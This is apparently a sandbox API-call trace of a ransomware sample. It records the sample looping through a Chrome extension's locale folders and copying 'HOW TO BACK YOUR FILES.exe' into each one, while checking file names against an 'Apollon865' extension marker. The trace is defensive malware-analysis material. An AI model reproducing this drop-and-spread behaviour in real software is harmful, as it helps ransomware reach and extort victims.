	[0048.497] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no"
	[0048.497] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.497] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.501] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fa2570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fa2570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.501] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.501] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.501] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.501] lstrlenW (lpString="messages.json") returned 13
	[0048.501] lstrlenW (lpString="Apollon865") returned 10
	[0048.501] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl"
	[0048.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3db8 | out: hHeap=0x580000) returned 1
	[0048.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0288 | out: hHeap=0x580000) returned 1
	[0048.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl") returned 137
	[0048.502] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl"
	[0048.502] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.505] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fc86d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fc86d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.506] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.506] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.506] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.506] lstrlenW (lpString="messages.json") returned 13
	[0048.506] lstrlenW (lpString="Apollon865") returned 10
	[0048.506] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.506] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne"
	[0048.506] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3c90 | out: hHeap=0x580000) returned 1
	[0048.506] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0268 | out: hHeap=0x580000) returned 1
	[0048.506] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne") returned 137
	[0048.506] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne"
	[0048.506] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.506] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.510] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.511] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fc86d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fc86d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.511] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.511] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.511] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.511] lstrlenW (lpString="messages.json") returned 13
	[0048.511] lstrlenW (lpString="Apollon865") returned 10
	[0048.511] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.511] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms"
	[0048.511] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3b68 | out: hHeap=0x580000) returned 1
	[0048.511] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0248 | out: hHeap=0x580000) returned 1
	[0048.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms") returned 137
	[0048.511] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms"
	[0048.511] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.516] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.516] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fc86d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fc86d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.516] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.516] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.516] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.516] lstrlenW (lpString="messages.json") returned 13
	[0048.516] lstrlenW (lpString="Apollon865") returned 10
	[0048.516] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.516] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr"
	[0048.516] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3a40 | out: hHeap=0x580000) returned 1
	[0048.517] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x580000) returned 1
	[0048.517] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr") returned 137
	[0048.517] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr"
	[0048.517] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.517] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.521] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.521] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fee830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fee830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.521] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.521] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.522] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.522] lstrlenW (lpString="messages.json") returned 13
	[0048.522] lstrlenW (lpString="Apollon865") returned 10
	[0048.522] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.522] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn"
	[0048.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3918 | out: hHeap=0x580000) returned 1
	[0048.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0208 | out: hHeap=0x580000) returned 1
	[0048.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn") returned 137
	[0048.522] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn"
	[0048.522] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.536] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.536] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fee830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fee830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.536] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.536] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.536] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.536] lstrlenW (lpString="messages.json") returned 13
	[0048.537] lstrlenW (lpString="Apollon865") returned 10
	[0048.537] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.537] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml"
	[0048.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b37f0 | out: hHeap=0x580000) returned 1
	[0048.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01e8 | out: hHeap=0x580000) returned 1
	[0048.537] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml") returned 137
	[0048.537] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml"
	[0048.537] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.537] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.541] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.541] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35014990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35014990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.542] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.542] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.542] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.542] lstrlenW (lpString="messages.json") returned 13
	[0048.542] lstrlenW (lpString="Apollon865") returned 10
	[0048.542] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.542] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv"
	[0048.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b36c8 | out: hHeap=0x580000) returned 1
	[0048.542] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01c8 | out: hHeap=0x580000) returned 1
